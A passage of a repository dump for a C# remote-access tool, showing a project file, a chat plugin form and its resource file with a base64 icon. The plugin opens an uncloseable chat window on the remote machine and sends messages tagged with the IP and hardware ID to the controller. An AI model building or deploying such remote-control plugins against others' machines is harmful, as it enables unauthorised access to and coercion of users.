</Compile>\n    <Compile Include=\"Properties\\Resources.Designer.cs\">\n      <AutoGen>True</AutoGen>\n      <DesignTime>True</DesignTime>\n      <DependentUpon>Resources.resx</DependentUpon>\n    </Compile>\n  </ItemGroup>\n  <ItemGroup>\n    <EmbeddedResource Include=\"ChatForm.resx\">\n      <DependentUpon>ChatForm.cs</DependentUpon>\n    </EmbeddedResource>\n    <EmbeddedResource Include=\"FormPattern.resx\">\n      <DependentUpon>FormPattern.cs</DependentUpon>\n    </EmbeddedResource>\n    <EmbeddedResource Include=\"Properties\\Resources.resx\">\n      <Generator>ResXFileCodeGenerator</Generator>\n      <LastGenOutput>Resources.Designer.cs</LastGenOutput>\n    </EmbeddedResource>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"packages.config\" />\n    <None Include=\"Resources\\eagle2.png\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n  <Import Project=\"..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets\" Condition=\"Exists('..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets')\" />\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\n    <PropertyGroup>\n      <ErrorText>Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}.</ErrorText>\n    </PropertyGroup>\n    <Error Condition=\"!Exists('..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets'))\" />\n    <Error Condition=\"!Exists('..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props'))\" />\n  </Target>\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/ChatForm.cs",
    "content": "﻿using EagleMonitor.Controls;\nusing PacketLib.Packet;\nusing System;\nusing System.Drawing;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    class ChatForm : FormPattern\n    {\n        public ChatForm(string name) \n        {\n            this.Name = name;\n\t\t\tthis.Text = name;\n\t\t\tthis.Load += new EventHandler(ChatForm_Load);\n        }\n\n\t\tprotected override void Dispose(bool disposing)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (disposing && components != null)\n\t\t\t\t{\n\t\t\t\t\tcomponents.Dispose();\n\t\t\t\t}\n\t\t\t}\n\t\t\tfinally\n\t\t\t{\n\t\t\t\tbase.Dispose(disposing);\n\t\t\t}\n\t\t}\n\n        internal RichTextBox msgRichTextBox;\n        private Guna.UI2.WinForms.Guna2TextBox messageGuna2TextBox;\n        private Guna.UI2.WinForms.Guna2Button sendMsgGuna2Button;\n        private PictureBox pictureBox1;\n        private System.ComponentModel.IContainer components;\n\n\t\tpublic void InitializeComponent()\n\t\t{\n            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ChatForm));\n            this.msgRichTextBox = new System.Windows.Forms.RichTextBox();\n            this.messageGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.sendMsgGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.pictureBox1 = new System.Windows.Forms.PictureBox();\n            ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();\n            this.SuspendLayout();\n            // \n            // msgRichTextBox\n            // \n            this.msgRichTextBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) \n            | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.msgRichTextBox.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50)))));\n            this.msgRichTextBox.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.msgRichTextBox.Font = new System.Drawing.Font(\"Segoe UI\", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));\n            this.msgRichTextBox.Location = new System.Drawing.Point(6, 104);\n            this.msgRichTextBox.Name = \"msgRichTextBox\";\n            this.msgRichTextBox.ReadOnly = true;\n            this.msgRichTextBox.Size = new System.Drawing.Size(639, 287);\n            this.msgRichTextBox.TabIndex = 12;\n            this.msgRichTextBox.Text = \"\";\n            // \n            // messageGuna2TextBox\n            // \n            this.messageGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(60)))), ((int)(((byte)(60)))), ((int)(((byte)(60)))));\n            this.messageGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam;\n            this.messageGuna2TextBox.DefaultText = \"Hello !\";\n            this.messageGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208)))));\n            this.messageGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226)))));\n            this.messageGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.messageGuna2TextBox.DisabledState.Parent = this.messageGuna2TextBox;\n            this.messageGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138)))));\n            this.messageGuna2TextBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50)))));\n            this.messageGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.messageGuna2TextBox.FocusedState.Parent = this.messageGuna2TextBox;\n            this.messageGuna2TextBox.Font = new System.Drawing.Font(\"Segoe UI\", 9F);\n            this.messageGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            this.messageGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.messageGuna2TextBox.HoverState.Parent = this.messageGuna2TextBox;\n            this.messageGuna2TextBox.Location = new System.Drawing.Point(6, 73);\n            this.messageGuna2TextBox.Name = \"messageGuna2TextBox\";\n            this.messageGuna2TextBox.PasswordChar = '\\0';\n            this.messageGuna2TextBox.PlaceholderText = \"Message...\";\n            this.messageGuna2TextBox.SelectedText = \"\";\n            this.messageGuna2TextBox.SelectionStart = 7;\n            this.messageGuna2TextBox.ShadowDecoration.Parent = this.messageGuna2TextBox;\n            this.messageGuna2TextBox.Size = new System.Drawing.Size(639, 25);\n            this.messageGuna2TextBox.TabIndex = 15;\n            // \n            // sendMsgGuna2Button\n            // \n            this.sendMsgGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) \n            | System.Windows.Forms.AnchorStyles.Right)));\n            this.sendMsgGuna2Button.Animated = true;\n            this.sendMsgGuna2Button.CheckedState.Parent = this.sendMsgGuna2Button;\n            this.sendMsgGuna2Button.CustomImages.Parent = this.sendMsgGuna2Button;\n            this.sendMsgGuna2Button.Font = new System.Drawing.Font(\"Segoe UI\", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));\n            this.sendMsgGuna2Button.ForeColor = System.Drawing.Color.White;\n            this.sendMsgGuna2Button.HoverState.Parent = this.sendMsgGuna2Button;\n            this.sendMsgGuna2Button.Location = new System.Drawing.Point(6, 35);\n            this.sendMsgGuna2Button.Name = \"sendMsgGuna2Button\";\n            this.sendMsgGuna2Button.ShadowDecoration.Enabled = true;\n            this.sendMsgGuna2Button.ShadowDecoration.Parent = this.sendMsgGuna2Button;\n            this.sendMsgGuna2Button.Size = new System.Drawing.Size(639, 32);\n            this.sendMsgGuna2Button.TabIndex = 14;\n            this.sendMsgGuna2Button.Text = \"Send message\";\n            this.sendMsgGuna2Button.Click += new System.EventHandler(this.sendMsgGuna2Button_Click);\n            // \n            // pictureBox1\n            // \n            this.pictureBox1.BackColor = System.Drawing.Color.Transparent;\n            this.pictureBox1.Image = global::Plugin.Properties.Resources.eagle2;\n            this.pictureBox1.Location = new System.Drawing.Point(3, 0);\n            this.pictureBox1.Name = \"pictureBox1\";\n            this.pictureBox1.Size = new System.Drawing.Size(32, 32);\n            this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;\n            this.pictureBox1.TabIndex = 16;\n            this.pictureBox1.TabStop = false;\n            // \n            // ChatForm\n            // \n            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);\n            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\n            this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(45)))), ((int)(((byte)(45)))), ((int)(((byte)(45)))));\n            this.ClientSize = new System.Drawing.Size(651, 397);\n            this.Controls.Add(this.pictureBox1);\n            this.Controls.Add(this.messageGuna2TextBox);\n            this.Controls.Add(this.sendMsgGuna2Button);\n            this.Controls.Add(this.msgRichTextBox);\n            this.Icon = ((System.Drawing.Icon)(resources.GetObject(\"$this.Icon\")));\n            this.Name = \"ChatForm\";\n            this.Padding = new System.Windows.Forms.Padding(3, 32, 3, 3);\n            this.ShowIcon = false;\n            this.ShowInTaskbar = false;\n            this.Load += new System.EventHandler(this.ChatForm_Load);\n            this.Shown += new System.EventHandler(this.ChatForm_Shown);\n            ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();\n            this.ResumeLayout(false);\n\n\t\t}\n\n        private void ChatForm_Load(object sender, EventArgs e)\n        {\n        }\n\n        protected override CreateParams CreateParams\n        {\n            get\n            {\n                CreateParams cp = base.CreateParams;\n                const int CS_NOCLOSE = 0x200;\n                cp.ClassStyle |= CS_NOCLOSE;\n                return cp;\n            }\n        }\n\n        private void ChatForm_Shown(object sender, EventArgs e)\n        {\n            this.msgRichTextBox.SelectionColor = Color.FromArgb(66, 182, 245);\n            this.msgRichTextBox.AppendText(\"You : Connected !\" + \"\\n\");\n\n            RemoteChatPacket chatPacket = new RemoteChatPacket(\"User : Connected !\" + \"\\n\");\n            chatPacket.BaseIp = Launch.clientHandler.baseIp;\n            chatPacket.HWID = Launch.clientHandler.HWID;\n            this.msgRichTextBox.SelectionColor = Color.FromArgb(197, 66, 245);\n            Launch.clientHandler.SendPacket(chatPacket);\n        }\n\n        private void sendMsgGuna2Button_Click(object sender, EventArgs e)\n        {\n            this.msgRichTextBox.SelectionColor = Color.FromArgb(66, 182, 245);\n            this.msgRichTextBox.AppendText($\"You : {messageGuna2TextBox.Text}\" + \"\\n\");\n            RemoteChatPacket chatPacket = new RemoteChatPacket($\"User : {messageGuna2TextBox.Text}\" + \"\\n\");\n            chatPacket.BaseIp = Launch.clientHandler.baseIp;\n            chatPacket.HWID = Launch.clientHandler.HWID;\n            this.msgRichTextBox.SelectionColor = Color.FromArgb(197, 66, 245);\n            Launch.clientHandler.SendPacket(chatPacket);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/ChatForm.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <assembly alias=\"System.Drawing\" name=\"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" />\n  <data name=\"$this.Icon\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n    <value>\n        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\n        